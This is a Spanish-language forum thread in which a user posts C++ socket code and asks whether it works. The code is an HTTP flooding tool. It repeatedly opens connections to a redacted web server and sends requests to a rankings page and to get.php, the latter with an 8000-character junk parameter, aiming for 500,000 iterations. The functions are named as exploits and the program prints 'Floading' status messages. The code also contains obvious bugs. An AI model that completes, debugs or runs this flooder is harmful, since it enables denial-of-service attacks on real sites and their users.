Socket en c , peticiones http .

Iniciado por ThePinkPanther, 7 Mayo 2013, 05:27 AM

0 Miembros y 1 Visitante están viendo este tema.

ThePinkPanther

Hola, quisiera saber si esto deberia de funcionar!!

Estas son mis peticiones que luego envio por send

    const char *peticion2="GET /get.php?aA=juan HTTP/1.1 \r\n";
    const char * host="HOST: xxx.com\r\n";
    const char *peticion3="Connection: keep-alive\r\n\r\n";

send(musocket[i],peticion2,sizeof(peticion2)+longp2,0);
send(musocket[i],host,sizeof(host)+longhost,0);
send(musocket[i],peticion3,sizeof(peticion3)+longp3,0);


LLegaria bien la peticion http al servidor,estoy haciendo bien las cosas ?? , las variables long son la longitud de cadena de las constantes char.. , y el arreglo musocket,son socket conectados a un servidor web por el puerto 80 ..

gracias de antemano.

ThePinkPanther

#1
Si alguien tiene tiempo , estoy tratando de hacer un programa que envie cabeceras masivas http preparadas de antemano ... si alguien tiene un poco de tiempo y revisa mi codigo, que me diga si las cabeceras se envian de la forma que quiero..

La forma que quiero es que haga una peticion GET al archivo get.php
y al ranking..
ese archivo tiene una variable aA donde se ingresan datos, y ingreso una cadena de 8000 caracteres

este programa enviaria masivamente esa cabecera con esos caracteres ? alguien puede fijarse. ?

Citar
#include <iostream>
#include <stdio.h>
#include <cstring>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#define PUERTO 80



using namespace std;
struct sockaddr_in config;
//longitudes de cadenas
void exploitr();
void exploitg();

int longitudp1; //longitud peticion1
int longitudp2; //longitud peticion2
int longitudp3; //longitud peticion3
int longitudp4; //longitud cadena al get.php
int contador; //contador cuantas veces se va a mandar los paquetes.
//

//peticiones
   const char *peticion1="GET /index.php?page_id=rankings HTTP/1.1\r\n";
   const char *peticion2="HOST: xxxx\r\n";
   const char *peticion3="Connection: keep-alive\r\n\r\n";
   const char *peticion4="GET /get.php?aA=pphamtomhamphaphamtompmtomphaphamtophmamtophamtommmmtomphpphamtomphamtomphamtomphamtomphamtomhamphamtomtomphamtophamtommaphamtophphamtomamtommphamtommphamtphamtomomtomphpphamtomphamtomphphamtophamphamtomtomphamtommamphphamtomamtophamtommtomphamtphamtomphaphamtommtomomppphamtomhamtphamtomomhamtompphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomamtomphamphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomtomphamtomphamtomphamtomphamtompphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomtomphamtomphamtomphamtompphamtomphamtomphamtophamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtommphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtompphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomhamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomaphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphaphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtommtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtomphamtom HTTP/1.1\r\n";

//
int main()
{
   //configuracion
   config.sin_family=AF_INET;
   config.sin_port=htons(PUERTO);
   config.sin_addr.s_addr=inet_addr("xxxx");
   //


  do
   {
       exploitr();
       exploitg();
   }while(contador<500000);

   return 0;
}





//comienza funcion exploit al ranking
void exploitr()
{

       longitudp1=strlen(peticion1);
   longitudp2=strlen(peticion2);
   longitudp3=strlen(peticion3);

   int n;
   int *p;
p=new int;
*p=socket(AF_INET,SOCK_STREAM,0);
connect(*p ,(struct sockaddr *)&config, sizeof (struct sockaddr));

//Flood al ranking..
n=send(*p,peticion1,sizeof(peticion1)+longitudp1,0);
if(n<0)
{
   cout<<"No enviado - Servidor no acepta envios. RANKING"<<endl;
}
else
{
   cout<<"Floading ... Cabeseras enviadas - OK RANKING"<<endl;
   n=-1;

}

n=send(*p,peticion2,sizeof(peticion2)+longitudp2,0);
if(n<0)
{
   cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
   cout<<"Floading ... Cabeseras enviadas HOST - OK"<<endl;
   n=-1;

}
n=send(*p,peticion3,sizeof(peticion3)+longitudp3,0);
if(n<0)
{
   cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
   cout<<"Floading ... Cabeseras enviadas Connection - OK"<<endl;
   n=-1;

}


cout<<"--------------------"<<endl;


delete []p;

return ;
}


//comienza funcion exploit al get
void exploitg()
{

   longitudp2=strlen(peticion2);
   longitudp3=strlen(peticion3);
       longitudp4=strlen(peticion4);
           int n;
   int *p;
p=new int;
*p=socket(AF_INET,SOCK_STREAM,0);
connect(*p ,(struct sockaddr *)&config, sizeof (struct sockaddr));


n=send(*p,peticion4,sizeof(peticion4)+longitudp4,0);
if(n<0)
{
   cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
   cout<<"Floading ... Cabeseras enviadas GET.PHP- OK "<<endl;
   n=-1;

}

n=send(*p,peticion2,sizeof(peticion2)+longitudp2,0);
if(n<0)
{
   cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
   cout<<"Floading ... Cabeseras enviadas HOST  - OK"<<endl;
   n=-1;

}

n=send(*p,peticion3,sizeof(peticion3)+longitudp3,0);
if(n<0)
{
   cout<<"No enviado - Servidor no acepta envios."<<endl;
}
else
{
   cout<<"Floading ... Cabeseras enviadas CONECTION - OK"<<endl;
   n=-1;

}

}


//fin del programa